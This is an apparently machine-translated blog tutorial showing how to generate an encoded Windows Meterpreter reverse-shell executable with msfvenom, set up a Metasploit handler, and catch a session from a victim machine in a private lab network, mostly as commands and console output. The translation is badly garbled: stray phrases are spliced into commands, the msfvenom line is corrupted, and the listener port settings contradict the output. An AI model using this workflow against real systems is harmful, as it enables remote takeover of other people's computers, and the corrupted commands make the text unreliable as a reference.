kali Metasploit's remote control - — — — — —

Preparatory tool

1, KALI System IP 10.10.10.131

2. Victimization systems IP 10.10.10.133

Steps:

1. Generate a tropic control program

root@kali:~# msfvenom P-p. windows/meterpreter/reverse_tcp – E-e-e. x86/shikata_ga_nai – I don’t know. 5 – B-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b-b—-b-b-b-b-b-b–b–b-b-b— “0 00” LHOST = 10.10.10.131 LPORT = 443 – F-f. I don’t know, exe. > abc.exe

No, no. platform Was… selected, choosing Msf::Module::Platform::Windows from That’s it. payload

No, no. Arch selected, selecting Arch: x86 from That’s it. payload

Found 1 compatible encoders

Attempting I’m sorry. encode payload with 5 Iterations Of course. x86/shikata_ga_nai

x86/shikata_ga_nai succeeded with size 360 (iteration=0)

x86/shikata_ga_nai succeeded with size 387 (iteration=1)

x86/shikata_ga_nai succeeded with size 414 (iteration=2)

x86/shikata_ga_nai succeeded with size 441 (iteration=3)

x86/shikata_ga_nai succeeded with size 468 (iteration=4)

x86/shikata_ga_nai chosen with Final size 468

Payload size: 468 bytes

Note: LHOST and LPORT are local IPs, not victims.

2. Commence Metasploit by order

root@kali:~# msfconsole

  +——————————————————-+

  |  METASPLOIT I don’t know. Rapid7                                 |

  +—————————+—————————+

  |      ______   |                           |

  |  =c()(o)(_()  | |””””””””””””|======[***  |

  |             )=\           | |  EXPLOIT   \            |

  |            // \          | |________    |

  |           //   \         | = [msf] >]============\   |

  |          //     \        | |__________\  |

  |         // RECON \       | (@)(@)(@)(@)(@)(@)(@)/   |

  |        //         \      |  *    |

  +—————————+—————————+

  |      # I don’t know what to do # O # I don’t know what to do #                |        \’\/\/\/’/         |

  |              # I don’t know what to do # O          |         )======(          |

  |                 # I don’t know what to do #         |       .’  LOOT  ‘.        |

  | I’m sorry.      |      /    ||_   \       |

  | |    PAYLOAD     |””___, |     /    (||     \      |

  | |____||)| |    |     _||)     |     |

  | |(@)(@)”””|(@)(@)|(@) |    ”       ||       ”     |

  |  = = = = = = = = = = = =  |     ‘————–‘      |

  +—————————+—————————+

Save 45% Of course. your time I’m sorry. large Commitments with Metasploit Pro

Learn more I’m sorry. http://rapid7.com/metasploit

       =[ metasploit v4.11.5 – 201510301                   ]

+ — –=[ 1500 exploits – 864 auxiliary – 251 post        ]

+ — –=[ 432 payloads – 37 encoders – 8 nops             ]

+ — –=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

3. Use of the Handler module

msf > # I’m not gonna let you go # exploit/multi/handler

4. View Handler Parameters

msf exploit(handler) > show options

Module options (exploitation/multi/handler):

   Name  Current Setting  Required  Description

   —-  —————  ——–  ———–

Exploited target:

   Id.  Name

   —  —-

   0   Wildcard Target

5. Shellcode Settings

msf exploit(handler) >  Set payload windows/meterpreter/reverse_tcp

payload => windows/meterpreter/reverse_tcp

msf exploit(handler) > SHOW 

[-] Unknown command: SHOW.

msf exploit(handler) > show options

Module options (exploitation/multi/handler):

   Name  Current Setting  Required  Description

   —-  —————  ——–  ———–

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description

   —-      —————  ——–  ———–

   EXITFUNC  process          Yes.       Exit Technical (Accepted: ”, Yeah, yeah. thread, process, none)

   LHOST     10.10.10.131     Yes.       The listn address

   LPORT     4444             Yes.       The listn port

Exploited target:

   Id.  Name

   —  —-

   0   Wildcard Target

6. Modify LHOST and LPORT ports

msf exploit(handler) > Set LHOST 10.10.10.131

LHOST => 10.10.10.131

msf exploit(handler) > Set LPORT 55555

LPORT => 55555

msf exploit(handler) > show options

Module options (exploitation/multi/handler):

   Name  Current Setting  Required  Description

   —-  —————  ——–  ———–

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description

   —-      —————  ——–  ———–

   EXITFUNC  process          Yes.       Exit Technical (Accepted: ”, Yeah, yeah. thread, process, none)

   LHOST     10.10.10.131     Yes.       The listn address

   LPORT     55555            Yes.       The listn port

7. Execute expluit orders

msf exploit(handler) > exploit

VIII. VICTIMS IMPLEMENTATION OF ABC.EXE DOCUMENT

9. Validation

[*] Started reverse handler I’m sorry. 10.10.10.131:443 

[*] Starting That’s it. payload handler…

[*] Sending stage (885806 bytes) I’m sorry. 10.10.10.133

*] Meterpreter session 1 opened (10.10.10.131:443 -> 10.10.10.133:1049) at 2015-12-07 23:41:20 +0800

未经允许不得转载:萌萌Apprentissage » kali Metasploit's remote control - — — — — —

Like (0) 打赏

Comments 0

Protected with IP Blacklist CloudIP Blacklist Cloud
  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏

//下一个脚本特效
//下一个脚本